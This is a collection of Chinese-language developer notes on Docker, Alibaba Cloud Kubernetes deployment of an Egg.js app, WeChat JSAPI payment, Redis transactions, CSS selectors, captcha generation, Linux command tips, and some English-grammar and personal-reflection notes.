端口映射
EXPORT 80 8080容器的8080端口映射到127.0.0.1:80

WORKDIR

类似于cd

EXPOSE

暴露端口expose 8080

Dockerfile实例

from node:slim
run mkdir /myapp
workdir /myapp
copy package.json /myapp/package.json
run npm i --registry=https://registry.taobao.org
copy . /myapp

docker例子

docker container run \
-d \ # 在后台运行
-p 127.0.0.1:2333:80 \ # 容器的80端口映射到127.0.0.2:2333
--rm \ # 容器停止运行后,自动删除容器文件
--name mynginx \ # 容器的名字为mynginx
yobasystems/alpine-nginx

docker container run \
-d \ # 在后台运行
-p 127.0.0.1:2333:80 \ # 容器的80端口映射到127.0.0.2:2333
--rm \ # 容器停止运行后,自动删除容器文件
--name mynginx \ # 容器的名字为mynginx
yobasystems/alpine-nginx


docker run --name jjqshopAdmin -p 2333:7002 c66fbb779085

docker run --name webapp -p 80:80 -p 443:443 -e URL=www.example.co.uk yobasystems/alpine-nginx

微信JSAPI支付

什么是JS-SDK

微信JS-SDK是微信公众平台面向网页开发者提供的基于微信内的网页开发工具包。

通过使用微信JS-SDK,网页开发者可借助微信高效地使用拍照、选图、语音、位置等手机系统的能力,同时可以直接使用微信分享、扫一扫、卡券、支付等微信特有的能力,为微信用户提供更优质的网页体验。

JSAPI支付就是属于JS-SDK的众多功能之一

什么是JSAPI支付

JSAPI支付也即公众号支付, 是指商户通过调用微信支付提供的JSAPI接口,在支付场景中调起微信支付模块完成收款。应用场景有:

  • 用户在微信公众账号内进入商家公众号,打开某个主页面,完成支付
  • 用户的好友在朋友圈、聊天窗口等分享商家页面连接,用户点击链接打开商家页面,完成支付
  • 将商户页面转换成二维码,用户扫描二维码后在微信浏览器中打开页面后完成支付

为什么要用JSAPI支付

在微信里面只能用JSAPI支付不能用微信H5支付更别说支付宝支付了

JSAPI支付为什么要用到网页授权

openid是微信用户在公众号appid下的唯一用户标识(appid不同,则获取到的openid就不同),可用于永久标记一个用户,同时也是微信JSAPI支付的必传参数。

关于网页授权请参考我之前的文章 #17

JSSDK使用步骤

步骤一:绑定域名

先登录微信公众平台进入“公众号设置”的“功能设置”里填写“JS接口安全域名”。

备注:登录后可在“开发者中心”查看对应的接口权限。

步骤二:引入JS文件

在需要调用JS接口的页面引入如下JS文件:

备注:支持使用 AMD/CMD 标准模块加载方法加载

一、设置JSAPI支付支付目录

商户平台-->产品中心-->开发配置, 确保实际支付时的请求目录与后台配置的目录一致

注意: 配置后有一定的生效时间,一般5分钟内生效

二、设置授权域名

统一下单需要openid, 所以需要在公众平台设置(获取openid的)授权域名, 具体在公众号设置 --> 网页授权域名

openid是微信用户在公众号appid下的唯一用户标识(appid不同,则获取到的openid就不同),可用于永久标记一个用户,同时也是微信JSAPI支付的必传参数。

支付场景的交互逻辑

  1. 用户打开商户网页选购商品,发起支付,在网页通过JavaScript调用getBrandWCPayRequest接口,发起微信支付请求,用户进入支付流程。

  2. 用户成功支付点击完成按钮后,商户的前端会收到JavaScript的返回值。商户可直接跳转到支付成功的静态页面进行展示。

  3. 商户后台收到来自微信开放平台的支付成功回调通知,标志该笔订单支付成功。

注意

  1. 支付成功还是以支付成功通知, 甚至主动查询支付记录为标准
  2. 商品网页地址可以做成二维码, 用户可以用微信扫一扫再去支付

JSSDK-invalid signature签名错误的解决方案

确认签名算法正确,可用 http://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=jsapisign 页面工具进行校验。

参考

微信JS-SDK说明文档
JSAPI支付

阿里云k8s部署egg项目

创建私有镜像库

  1. 进入容器镜像服务控制台
  2. 左上角选择区域
  3. 左侧菜单->容器镜像服务->默认实例->镜像仓库
  4. 点击创建镜像仓库
  5. 在弹出的对话框中配置镜像仓库,设置命名空间仓库名称摘要仓库类型, 点击下一步
  6. 在设置代码源对话框中,将代码源设为本地仓库, 点击创建镜像仓库

管理私有仓库

点击刚创建的仓库右侧的管理, 可以看到操作指南会有很多命令行的操作

修改项目package.json

"start": "egg-scripts start --env=prod"

使用多阶段构建制作本地镜像

Docker v17.05 开始支持多阶段构建 ( multistage builds ), 可以提升速度缩减大小
项目根目录创建Dockerfile文件
分为2个阶段构建

  • base阶段进行npm包的安装
  • build阶段拷贝文件
# FROM node:8-alpine as base
# WORKDIR /usr/src/app
# COPY package.json .
# RUN npm install --registry=https://registry.npm.taobao.org

FROM node:8-alpine as build
ENV TZ Asia/Shanghai
WORKDIR /usr/src/app
# 从其它阶段或镜像复制文件COPY --from=xxx 第一个参数只能是绝对地址 第二个参数是WORKDIR指定的相对地址
# COPY --from=base /usr/src/app/node_modules ./node_modules
COPY ./node_modules ./node_modules
COPY . .
RUN ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \
    && echo Asia/Shanghai > /etc/timezone
EXPOSE 7001
CMD npm start

项目根目录创建.dockerignore文件用来排除构建镜像时不需要的文件或目录

node_modules/*
.git/*
testCI/*
assets/*
documents/*
npm-debug.log
log/*
run/*
logs/*

开始构建

$ sudo docker build -t 仓库地域/命名空间/仓库名称:latest .
$ sudo docker build --target xxx -t username/imagename:tag . # 只想构建xxx阶段的镜像
$ sudo docker image ls | grep xxx # 查看所有镜像以验证
$ docker tag <ImageId> 仓库地域/命名空间/仓库名称:TAG # 注意如果只改tag 会生成ImageId一模一样tag不一样的镜像

容器的一些基本操作

$ sudo docker run -p 7004:7001 --rm 仓库地域/命名空间/仓库名称:latest # 运行容器 运行结束则删除容器 镜像expose的是7001 对外展现为7004
$ sudo docker container ls # 列出所有正在运行的容器
$ sudo docker container ls -a # 列出所有容器包括运行的和结束的
$ docker container stop # 终止启动的容器
$ docker container start # 启动处于终止状态的容器
$ docker container restart # 将一个运行态的容器终止,然后再重新启动它

自动构建本地镜像并上传到私有仓库

创建Makefile并登陆docker私有仓库

$ touch 项目根目录/Makefile
# 域名就是仓库所在地区的域名
# 用于登录的用户名为阿里云账号全名,密码为开通服务时设置的密码
$ sudo docker login [email protected] registry.cn-xxxxxx.aliyuncs.com

填入Makefile的内容

.PHONY: build

NAME=仓库名称
REGISTRY=registry.cn-仓库地域.aliyuncs.com
NAMESPACE=命名空间
TAG=latest
TOKEN=触发器token 

# 完整格式: registry.cn-仓库地域.aliyuncs.com/命名空间/仓库名:TAG
build:
	echo building ${NAME}:${TAG}
	docker build -t ${REGISTRY}/${NAMESPACE}/${NAME}:${TAG} .
	docker push ${REGISTRY}/${NAMESPACE}/${NAME}:${TAG}
	# curl https://cs.console.aliyun.com/hook/trigger?token=${TOKEN} # 暂时不用

运行Makefile使其自动构建本地镜像并上传至私有仓库

# sudo是因为需要读取~/.docker/config.json需要权限
sudo make

验证镜像是否已经上传

点击仓库右侧的管理进入镜像仓库详情页,单击左侧导航栏中的镜像版本

创建私有镜像仓库登录密钥类型的密钥

  1. 容器服务管理控制台->应用配置->管理字典
  2. 选择所需的集群和命名空间,单击右上角的创建
  3. 类型选择私有仓库登陆密钥

通过私有镜像仓库创建应用

  1. 容器服务管理控制台->应用->无状态, 进入无状态Deployment页面
  2. 选择所需的集群和命名空间,单击右上角的使用镜像创建,会经历如下几个步骤:

一、应用基本信息

应用基本信息填写信息,其中副本数量就是Pod数量

二、容器配置

基本配置

镜像Tag一定要用鼠标点选,不要自己键盘输入!不然拉取不到镜像
如果看不到tag说明镜像地址是错误的, 把-vpc删了,使用公网镜像地址!
更新:一定要用专有网络镜像地址(带vpc)而不是公网或经典网络(内网),不然导致镜像组拉取镜像失败

端口设置

无状态里的端口不用手动设置,会自动设置的,如果你在服务进行了端口映射如-p 7004:7001,这里就会出现所有的端口

容器配置的健康检查解释

容器的健康检查有2种

  1. 存活检查(liveness) -> 重启容器
  2. 就绪检查(Readiness) -> 接收流量

健康检查又分为3种方式

  1. HTTP请求 -> GET请求
  2. TCP连接 -> TCP Socket
  3. 命令行 -> 探针检测命令

用的比较多的是HTTP请求

  1. 协议
    • HTTP
    • HTTPS
  2. 路径
    一般访问首页/
  3. 端口(EXPOSE端口)
    • 端口号 1~65535
    • 端口名
  4. HTTP头
    允许重复的header
  5. 延迟探测时间initialDelaySeconds
    容器启动多久后开始探测, 默认3s后
  6. 执行探测频率periodSeconds
    每次探测的间隔 >= 1s
  7. 超时时间timeoutSeconds
    探测超时时间 >= 1s
  8. 健康阀值
    连续多少次成功算成功 >= 1, 存活检查只能是1
  9. 不健康阀值
    连续多少次失败算失败 >= 1 默认3

三、高级配置(创建服务和路由)

完成容器配置后,单击下一步,进行高级配置,分为3部分

  1. 访问设置
    1. 服务Service(注解annotation支持负载均衡配置参数)
      1. 虚拟集群IP(ClusterIP)集群内的服务(外部不可访问,但可以通过路由访问)
      2. 节点端口(NodePort)可路由到ClusterIP,通过<NodeIP>:<NodePort>可从集群外部访问
      3. 负载均衡(LoadBalancer)公网内网都可访问 可路由到ClusterIP、NodePort
    2. 路由Ingress(通过镜像创建应用时,仅能为一个服务创建路由)
      为后端Pod(容器组)配置路由规则
  2. 伸缩设置(可选)
    根据容器组Pod的CPU、内存的占用调整Pod的数量
    • 指标(CPU、内存)
    • 触发条件(到达该百分比触发扩容)
    • 最大容器数量
    • 最小容器数量
  3. 调度设置(可选)
    • 升级方式
      1. 滚动升级 rollingupdate (一般是滚动升级)
      2. 替换升级 recreate
    • 节点亲和性
    • 应用非亲和性

创建服务和路由

类型选择虚拟集群IP(ClusterIP),勾选实例间服务发现(Headless Service),服务端口填你要在集群内网暴露的端口,容器端口填EXPOSE的端口(注意服务端口不要跟其它服务的服务端口冲突了)
路由的端口直接填服务端口即可,路径填/,就可以通过填的域名进行外网访问(80端口的)

无状态创建后,也可以去容器服务管理控制台->路由与负载均衡管理服务和路由

无状态服务端口总结

  • 服务端口:在集群内网运行时的端口
  • 容器端口:镜像端口、Dockerfile文件里EXPOSE的端口
  • 无状态里的端口:不用设置,全删了也会自动设置的,看起来是用到的所有端口都会被添加
  • 无状态里健康检查的端口:容器端口

四、创建完成

最后单击创建。创建成功后,默认进入创建完成页面,会列出应用包含的对象,您可以单击查看应用详情进行查看

创建触发器

在无状态详情里面,创建触发器,创建重新部署的触发器,得到触发器的token
修改Makefile,取消注释,替换token,然后重新部署

参考

#11
Dockerfile构建容器镜像 - 运维笔记
运维-makefile的书写(节省dockerFile的批量构建的问题)
使用私有镜像仓库创建应用
镜像创建无状态Deployment应用
通过负载均衡(Server Load Balancer)访问服务

造轮子

/**
 * 有key返回val,无key返回null
 * @param {string} key 键名
 */
function getCookie (key) {
    const { ctx } = this
    // 只有 options.signed == false 才能取出非签名的cookie
    // 那么 能不能取出已签名的cookie呢?
    console.log('---getCookie---get', ctx.cookies.get(key, { signed: false }))
    const cookieList = (ctx.header.cookie || '').split('; ')
    for (const i in cookieList) {
        // 处理 json里面 包含=号的东西: 合并起来
        const arr = cookieList[i].split('=')
        const k =  arr.splice(0, 1)[0] // 返回的是被删除元素组成的[数组]
        if (k == key) return arr.join('')
    }
    return null
}

Vue单元测试

什么是单元测试

单元测试(unit testing)指的是以软件的单元(unit)为单位,对软件进行测试。单元可以是一个函数,也可以是一个模块或组件。它的基本特征就是,只要输入不变,必定返回同样的输出。

为什么要单元测试

  • 提供描述组件行为的文档
  • 节省手动测试的时间
  • 减少研发新特性时产生的 bug
  • 改进设计
  • 促进重构

测试的分类

单元测试只是测试中的一种,开发中常用的测试一般分三种:

  1. 单元测试(Unit Testing)
  2. 集成测试(Integration Testing)
  3. 端到端测试(E2E Testing)

随着其集成度的递增,对应的自动化程度递减,e2e的集成度是最高的。

最佳实践:我们把绝大部分能在单元测试里覆盖的用例都放在单元测试覆盖,只有单元测试测不了的,才会通过端到端与集成测试来覆盖。

单元测试的步骤

  1. 添加一个测试
  2. 运行所有测试,看看新加的这个测试是不是失败了;如果能成功则重复步骤1
  3. 根据失败报错,有针对性的编写或改写代码;这一步的唯一目的就是通过测试,先不必纠结细节
  4. 再次运行测试;如果能成功则跳到步骤5,否则重复步骤3
  5. 重构已经通过测试的代码,使其更可读、更易维护,且不影响通过测试
  6. 重复步骤1,直到所有功能测试完毕

测试覆盖率code coverage

用于统计测试用例对代码的测试情况,生成相应的报表,如istanbul
测试覆盖率

表格中的第2列至第5列,分别对应了四个衡量维度:

  • 语句覆盖率statement coverage:是否每个语句都执行了
  • 分支覆盖率branch coverage:是否每个if代码块都执行了
  • 函数覆盖率function coverage:是否每个函数都调用了
  • 行覆盖率line coverage:是否每一行都执行了

参考

实例入门 Vue.js 单元测试

egg svg-captcha 图形验证码

问题关键点: 存验证码的key的唯一性

  1. session是用户唯一的,但是只是存在单台服务器上,所以不适合分布式服务器,所以还是需要redis(也有egg-session-redis
  2. csrfToken可以作为key的一部分,但是ctx.cookie.get('csrfToken')取不到,好像是没有set就get不到,就算ctx.header.cookie里面有,所以只能在header里面切割ctx.header.cookie.split(';')[0].split('=')[1]简单粗暴,或者用正则/([^=]+)=([^;]+);?\s*/g
    更新:ctx.cookie.get不到是因为默认取已加密的,如果要取未加密的应该加{ encrypt: true }参数
  3. 验证码的keycaptchaKey,可能会在多个地方用到,就想存在控制器的constructor里,这里也有坑
    首先constructor里要先于this调用super,但是spuer要传ctx参数,可是也传不了this.ctx因为等于是super在后面调用了,想起来constructor其实也会接受一个ctx,所以问题解决
constructor (ctx) {
    super(ctx)
    this.captchaKey = 'captcha' + ctx.header.cookie.split(';')[0].split('=')[1]
}

后台

const captcha = require('svg-captcha')

constructor (ctx) {
    super(ctx)
    this.captchaKey = 'captcha' + ctx.header.cookie.split(';')[0].split('=')[1]
}

// 可以设置宽高,单位像素,但是注意宽不要小于高
// 验证码有效期限为600秒10分钟
async captcha () {
    const { ctx, app } = this
    const option = { size: 4, noise: 1, width: 78, height: 38 }

    const width = parseInt(ctx.query.width)
    const height = parseInt(ctx.query.height)
    if (!isNaN(width) && !isNaN(height) && width > height) {
        option.width = width
        option.height = height
    }

    const cap = await captcha.create(option)
    if (!await app.redis.set(this.captchaKey, cap.text.toLowerCase(), 'EX', 600)) ctx.throw(200, '获取图形验证码失败')

    ctx.body = 'data:image/svg+xml;utf8,' + encodeURIComponent(cap.data)
}

async veriCaptcha (captcha = '', msg = '图形验证码错误') {
    const { ctx, app } = this
    if (await app.redis.get(this.captchaKey) !== captcha) ctx.throw(200, msg)
}

前台

el-form-item
    el-input(placeholder="请输入验证码" v-model="form.captcha")
        img(:src="captchaSvg" style="display:block;width:78px;height:38px;padding:0" slot="append" @click.stop="getCaptcha")
getCaptcha (width = '', height = '') {
  this.axios.get(`/api/captcha?width=${width}&height=${height}`).then(res => (this.captchaSvg = res), err => console.log(err))
}

参考

原来浏览器原生支持JS Base64编码解码
学习了,CSS中内联SVG图片有比Base64更好的形式
SVG 图像入门教程

《精通CSS:第三版》学习笔记

同辈选择符

  • .a + p .a紧挨着的p
  • .a ~ p .a的所有同辈p

属性选择符

  • xxx[attr-name]
  • xxx[attr-name='attr-value']
  • xxx[attr-name^='开头']
  • xxx[attr-name$='结尾']
  • xxx[attr-name*='部分']
  • xxx[attr-name~='空格分隔的某一个属性值']
  • xxx[lang|=en]匹配enen-US

伪元素

伪元素,两个冒号开头(老的浏览器是一个)

  • ::first-letter首字母
  • ::first-line首行
  • ::before之前(通过设置content,下同)
  • ::after之后

伪类

伪类,一个冒号开头,顺序:

  1. :link未访问的链接
  2. :visited已访问
  3. :hover鼠标悬停
  4. :focus获得焦点(输入点)
  5. :active活动状态(鼠标点下)
  • :target
    url后面的#xxx其实就是id的xxx,:target选择#所在的的元素

  • :not

*:not(.className) {
  color: red
}
  • :first-child等价于:nth-child(1)
  • :last-child等价于:nth-last-child(1)
  • :nth-child(1/2/3... || odd(奇数) || even(偶数)|| 表达式(如3n+1))
  • :nth-last-child(N)用法同上,只不过是逆序
  • :nth-of-type(N)如果有多个类型,就会选择各类型的第N个
  • :nth-last-of-type(N)

表单伪类

  • input:required
  • input:optional
  • input[type=email]:valid有效的格式
  • input[type=email]:invalid无效的格式

微信X5内核: 使用chrome调试安卓微信网页

x5浏览器是安卓微信自带的浏览器(IOS不是X5), 可以配合Chrome调试微信打开的网页

准备材料

  • 安卓手机(微信)
  • 手机数据线
  • 电脑(Chrome)

打开手机调试模式

  1. 在设置里面, 狂点系统版本, 就会打开开发者选项
  2. 开启开发者选项, 打开USB调试
  3. USB连接电脑

微信x5开启调试模式

  1. 微信访问 debugx5.qq.com(debugtbs.qq.com -> DebugX5)
  2. 打开信息选项卡
  3. 勾选打开TBS内核Inspector调试功能
  4. 在微信内打开你要调试的页面

注意: 微信内网页其实算是WebView, 这一步其实是调试的WebView, 如果调试浏览器的化, 就不用多出这么一步

设置Chrome

  1. 在地址栏打开 chrome://inspect
  2. Devices那里勾选Discover USB devices
  3. 此时这个页面应该会显示你的手机、浏览器名称WebView in com.tencent.mm、正在访问的网页
  4. 点击网页上的inspect, Chrome会打开一个调试用的新窗口

注意: 不要在调试时手机熄屏, 会显示The tab is inactive

新玩法: 关闭X5内核让微信变得飞快

  1. 微信访问 debugtbs.qq.com -> 禁用内核
  2. 重启微信, 打开debugx5.qq.com验证

注意: 关闭x5内核之后 就无法调试微信了, 但是浏览器还是可以的

其它玩法

微信开发这工具上的调试, IOS调试(通过无线的代理Discover network targets)
手机web前端调试页面的几种方式
其它调试工具
[手机网页前端调试工具](https://blog.csdn.net/u011127019/article/details/76802091

参考

Chrome Dev Tools 里,如何通过 Remote Devices 面板,调试 Android 微信里打开的页面?
安卓微信打开X5调试,使微信页面可以在谷歌浏览器调试【chrome://inspect/#devices】
关掉X5内核让微信变得飞快~
Android 设备的远程调试入门

Redis事务

事务Trasaction的4个性质(ACID)

  • 原子性Atomicity
    事务是单位的、原子的,事务中的命令要么全部执行要不全部不执行
  • 一致性Consistency
    事务可以保证命令失败的情况下得以回滚,数据能恢复到没有执行之前的样子
  • 隔离性Isolation
    事务保证命令执行过程中不会被其他客户端命令打断
  • 持久性Durability
    redis事务是不保证持久性的,这是因为redis持久化策略中不管是RDB还是AOF都是异步执行的,不保证持久性是出于对性能的考虑

Redis事务中的错误和回滚

redis事务运行过程中可能会碰到3种错误,严重错误是可以回滚的,轻微错误和客观条件的错误不会回滚

入队错误

redis事务中每添加一条命令就相当于在事务队列里入队,如果在这个过程中有一些语法错误或者其它严重错误,那么redis会记录这种错误(>=2.6.5),并且在执行EXEC的时候,报错回滚事务中所有的命令,并且终止事务(注意这3个动词,对于redis事务来说这是3个独立不同的动作)。像输入了错误的命令或参数、内存不足(maxmemory)等都会引发入队错误。
入队错误报错例子:(error) EXECABORT Transaction discarded because of previous errors.

执行错误

执行错误一般是一些不太严重的错误,如你lpop了一个字符串类型的key(处理了错误类型的键)。
redis碰到执行错误,不会终止事务也不会回滚,而是保证事务其他部分的正常运行,会返回其它部分的执行情况(如OK),也会报错。
执行错误报错例子:(error) WRONGTYPE Operation against a key holding the wrong kind of value

进程终结

服务端直接终结,属于客观条件的错误,虽然很严重,但是redis已经处理不了了,又因为redis事务没有持久化,所以不能回滚,无法保证一致性

Redis事务流程

redis事务是通过MULTIEXECDISCARDWATCHUNWATCH五条命令实现的

  1. 可以先WATCH一些键,避免事务执行之前该键被其它命令改动(乐观锁)
  2. 开启一个事务,用MULTI,总是返回OK
  3. 命令入队,命令不会立刻执行,而是需要EXEC执行
  4. EXEC执行事务,用DISCARD清空事务队列,并取消事务
  5. 事务结束后,不论成功或失败,自动UNWATCH所有key

WATCH与乐观锁

WATCH命令可以为redis事务提供check-and-set (CAS)行为,被称为“乐观锁”。
WATCH命令可以监视一个(或多个) key ,如果在事务EXEC之前这些key被其他命令所改动,那么整个事务将被abort,当事务被打断,exec就会返回空值nil
这里被key被其它命令改动又分两种情况(当然都是exec之前):

  1. watch之后,multi之前,被本身set
  2. watch之后,multi之后,exec之前,被别的客户端set

这两种情况都会触发乐观锁,如果触发了乐观锁而导致事务打断,可以不断重试(也需要重新watch,但是watch又不能作为事务本身命令的一部分(error) ERR WATCH inside MULTI is not allowed),直到事务执行成功(说明此时另外的客户端已经没有在set键了)。

redis事务示范

127.0.0.1:6379> MULTI
OK
127.0.0.1:6379> SET key1 1
QUEUED
127.0.0.1:6379> HSET key2 field1 1
QUEUED
127.0.0.1:6379> SADD key3 1
QUEUED
127.0.0.1:6379> EXEC
1) OK
2) (integer) 1
3) (integer) 1

问题:watch和setnx的异同(分布式锁)

watch的意思是CAS(check-and-set),检查没有被改变则改变之,改变则exec报错
setnx的意思是NX(not-exist-and-set),不存在则set之返回1(成功set一个key<只支持一个key的set>),存在则返回0
当然还存在XX(exist-and-set),意思是存在则set。watch不是属于 XX ,因为可以watch一个不存在的key,如果事务exec前存在了,则报错(保证key是在事务中create的)

参考

redis事务

关于晓书童2019生日分享的笔记

奶奶

经历过真正艰苦岁月的那些人,大部分都是非常勤俭节约的,是真正看透了生活本质的
严于律己 宽以待人
多陪陪家人,多联系,多看望
他们是你与赤裸现实和死亡的一道墙,没有他们,你就得直面这些了

生命

生命的珍贵不在于长度,而在于宽度
正是因为生命是短暂的,所以关于活着这件事,死亡是最好的老师
我们应该在有限的生命里,深入思考,到底什么对于我们自己是最重要的,我们这一生应该如何度过,暮年回首往事,才不留遗憾

**实验

生命的垂暮之年,在病床上回首往事,有很多事情和选择一定可以做的更好。
如果回到以前那些个时候,还会把时间花在那些事情上吗(有所不为),是不是有些遗憾可以弥补,有些梦想可以再去追寻?(有所为)
想清楚之后,一个响指,回到现在,现在还年轻,一切都还来得及,一切都还充满希望

晓书童终于成为了晓书童

国企那么优越的条件,混得也不差,依然还是选择离职专职做这个读书频道,这不仅仅是努力这么久的实力,这也是一种努力,一种决心
鱼和熊掌是不可兼得的,放弃了国企的工作,晓书童他将会有更多的时间耕耘频道,有更多的时间陪伴家人,照顾子女
虽然更多了对生存的惶恐,但下定了决心,做好了承担一切后果的准备,剩下的只是坦然了
在一个公司上班,这只是你的职业,你的事业是你真正想做的那些事,并且可以给你带来财务自由
所谓财务自由,是指你不再为钱而工作,你要花的钱,只要从你利润中取一部分便可满足需要,这个利润是从资产中来
资产与负债的区别,资产可以产生利润,负债只会继续消耗你的钱

灵与肉

理性的灵魂和健康的体魄是人生在世追求所有幸福与快乐的先决条件,缺一不可
尽管需要持之以恒,并且困难重重,但这确是必须要做的事情
其实做成某件事,不仅需要坚持,还要学会放弃,有所为有所不为,你选择健身,你就要放弃很多娱乐休息的时间并且坚持运动
你为了做什么而不做什么,这更能显示出你的伟大

感知幸福

对一个孩子最大的期望,大概就是,能享受最好的,也能承受最坏的,无论顺境逆境,都能找到生活的意义,都能有感知幸福的能力
在逆境中感受幸福,才是最纯粹的幸福
那些成功的人,不是因为成功了才幸福,而是因为幸福而成功
我们眼中艰苦卓绝的攀登,对别人来说不过是乐在其中的旅程

金钱

金钱最大的作用,在于能让人自由的选择自己喜欢的事物,而不是被物质生活所困
让我们经历的一切都是因为我选择、我愿意,而不是没办法、不得不

为什么我懂得了这么多道理,却依然过不好我这一生

从懂得一个道理,到想清楚,变成改变自己生活轨迹的行动,并坦然接受最终的后果,这之间是时间与经历的鸿沟,等这一切都结束,才有资格说,我也许真的懂了那么一点点

钉钉中设置代码提交提醒--Github机器人

一、先去钉钉添加github机器人并复制url

群设置 -> 群机器人 -> 添加机器人 -> 选择要添加的机器人 -> GitHub -> 添加
机器人名字:xxx
添加到群组:xxx
-> 完成 -> 复制webhook链接 -> 完成

二、GitHub设置

项目仓库 -> Settings -> Webhooks -> Add webhooks

Payload URL
Content type: application/json
SSL verification: Enable SSL verification
Which events would you like to trigger this webhook?: Just the push event.

三、测试

git push

参考

钉钉中设置代码提交提醒--Github机器人

英语语法新思维(张满胜)

英语为固定词序语言a fixed-word-order language

以语序固定严格而著称

学习技巧

  1. Think much
    from a textbook grammar to a mental grammar
  2. Practice much
    听说读写译尤其是口语和写作属于output

英语有action和state的区分

  • I'm married.我已经结婚了
  • I got married.去年结婚的
  • I've been married for over a year.我已经结婚一年多了

构造语言的5个级别

  1. word
  2. 短语phrase
  3. 句子sentence
  4. 段落paragraph
  5. 篇章discourse

短语phrase

  1. 动词短语
    have been doing
  2. 介词短语
    for you
  3. 名词短语noun phrase
    名词短语 = 名词 + 修饰词(定语)
    例子: my best friend

名词的修饰语与名词的位置关系左二右六

左边有两类定语,右边有六类定语

修饰语在前: (前置)定语

  1. 限定词
  • 限定名词所指范围
  • 泛指或特指
  • 定量或不定量
  1. 形容词
    用来表示名词的性质特征

严格的顺序: 限定词+形容词+名词

修饰语在后: 后置定语

  1. 介词短语
  2. 分词短语
  3. 不定式短语
  4. 形容词短语
  5. 定语从句
  6. 同谓语从句

更多的定语用在被修饰名词的后面(右边), 构成后置定语, 所以

  • 英语是中心词head在前的语言head-first language
  • 汉语是中心词head在后的语言head-last language
  • 英语和汉语差不多是语序相反
  • 中心词就是主体意思的名词

六大句子成分主谓宾定状补

定语不算真正的句子成分, 定语修饰名词, 只是名词短语的构成成分, 可称为短语成分

  • 主谓宾状补在句子层面
  • 定语在短语层面
    难点: 复杂的定语修饰关系造成句子的理解障碍

名词

名词:A noun is the name of a person or thing.
名词分为普通名词专有名词

普通名词common noun

普通名词分为可数名词不可数名词

可数名词countable noun(可以被分割)

在词典中标注为[C]

  1. 个体名词
    表示同类的人或物中的个体
    student, tree, hospital, house, piano
  2. 集体名词
    表示若干人或物的总称
    team, committee, police, group, family

不可数名词uncontable noun(不可以被分割)

  1. 物质名词
    表示物质和材料的总称
    paper, water, cotton, air
  2. 抽象名词
    表示动作, 性质, 状态或情感等抽象概念的名称
    birth, happiness, evolution, technology, management, imagination, hope, sport

可数名词与不可数名词: meaning
单数名词与复数名词: form
单数或者复数, 关键在于可不可数, 有没有数的必要(不要使用汉语思维推己及人)
不可数名词的量化, 不通过数量, 而是其它维度: 重量, 体积等
可不可数 >>> 意义 >>> 上下文
一般做定语的名词都是不可数的, 而作为中心词不代表总体而是特质的话, 一般都是可数的( 总体的和抽象的都不可数 )

  1. 无法分割的名词, 看做一个整体(不可数)
    nouns that have no distinct, separate parts, we look as the whole
  • 气体: air, fog, oxygen, smoke
  • 液体: beer, blood, coffee
  • 固体: bread, butter, cheese, ice, paper
  1. 因其组成部分太小而不易数的名词
    nouns that have parts that are too small or insignificant to count
  • grass, hair, rice, sand
  1. 表示总称的名词通常不可数
    这类名词侧重于总体, 而不是部分
    nouns that are classes or categories of things
  • clothing( sweaters可数, pants, dresses )
  • food( meat, vegetable )
  • fruit( apples, oranges )
  • poetry( poems )
  • character( characteristic )特点和具体不同的特点
    character作为可数名词表示特点的集合, 作为不可数名词表示字体或者文学中的人物
  1. 抽象名词一般不可数
    nouns that are abstractions
  2. 表示研究学科
    subjects of study
  • biology, math, history

简单名词和复合名词

简单名词: story, teacher...
复合名词: girlfriend, roommate, mother-in-law

专有名词proper noun

表示特定的人, 物, 机构或场所等(首字母大写)
Paris, the United States, Bill Gates

  1. 人名以及头衔
  2. 著作名称
    War and Peace, Pride and Prejudice
  3. 月份
    January, February, March, April, May, June, July, August, September, October, November, December
    英语用的是公历或者说太阳历the solar calendar, 而我国用的是阴阳历(阴历就是the lunar calender), 所以翻译阴历不能使用上面的月份名称因为是太阳历, 而是要用序数词
    阴历二月 >>> the second month on the lunar calender or the second lunar month
    农历七月初七(七夕),同理 >>> the seventh of the seventh lunar month
  4. 星期, 四季
    星期: Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday
    四季: Winter, Summer, Spring, Autumn
  5. 节日
    Christmas, Easter, Thanksgiving Day...
  6. 地理名称
    七大洲: Asia, Africa, North America, South America, Antarctica, Europe, Australia
    国家: China, Peru
    地区, 城市: Rome, Beijing, Florida
    江河湖泊: the Dead Sea, the Pacific
    山脉, 沙漠: the Himalayas, the Alps, the Sahara

Linux小技巧

vi下方向键变成ABCD

使用的是vim-common精简版,除了安装完整版之外,还有办法:

$ echo 'set nocp' >> ~/.vimrc # vim缺省是vi兼容模式 设置成不兼容模式就好了
$ echo 'set backspace=indent,eol,start' >> ~/.vimrc # 不兼容模式下修复退格键不可用问题
$ source ~/.vimrc
  • indent:如果用了:set indent:set ai 等自动缩进,想用退格键将字段缩进的删掉,必须设置这个选项,否则不响应
  • eol:如果插入模式下在行开头,想通过退格键合并两行,需要设置eol
  • start:要想删除此次插入前的输入,需设置这个

参考:vim 退格键(backspace)不能用

curl的地址最好用引号包起来

不然的话,只能保留第一个query参数,后面的参数因为&符号而被丢弃

curl 127.0.0.1:7001/sms/send?PhoneNumbers=xxxxxx&PhoneNumbers=yyyyyy
# 相当于
curl 127.0.0.1:7001/sms/send?PhoneNumbers=xxxxxx
# 应该用引号包裹请求地址
curl '127.0.0.1:7001/sms/send?PhoneNumbers=xxxxxx&PhoneNumbers=yyyyyy'

用tcpdump抓包

tcpdump port 7777 -n -s 1024 -i eth0 -w xxx.dump

查看系统情况的一些命令

uname -a
top
df -h
uptime # 运行时间
w # display who is logged in and what they are doing
free # 内存情况
ps -ef # 进程
ps aux | grep xxx
killall xxx
env
nc <ip> <port> # NetCat

巧用tar

       c -> create      z -> gz
tar    x -> extract     j -> bz2    -f    file.tar   [files]
       t -> list        J -> xz

巧用cat

cat <<EOF > 1.txt
xxxxx
EOF

xargs最佳实践

xargs命令是可以补齐管道符|(标准输入)的, 因为不是所有命令都支持管道符如echo, xargs能接受标准输入(Ctrl+D结尾EOF) 并转换为后面命令支持的参数
xargs默认是空白符号( \t\n)作为分隔, 并把获取到的所有参数都作用在后面的命令上, 下面演示的是-n参数, 一次最多只接受2个参数作用一次命令, 调用多次命令直到参数用完

$ echo {0..9}
0 1 2 3 4 5 6 7 8 9

$ echo {0..9} | xargs -n 3 echo
0 1 2
3 4 5
6 7 8
9

下面演示的是每次只用一行-L 1

$ echo 'a\nb\nc'
a\nb\nc

$ echo -e 'a\nb\nc' # -e表示使用转宜符 这里echo只运行了一次(\n也输出了)
a
b
c

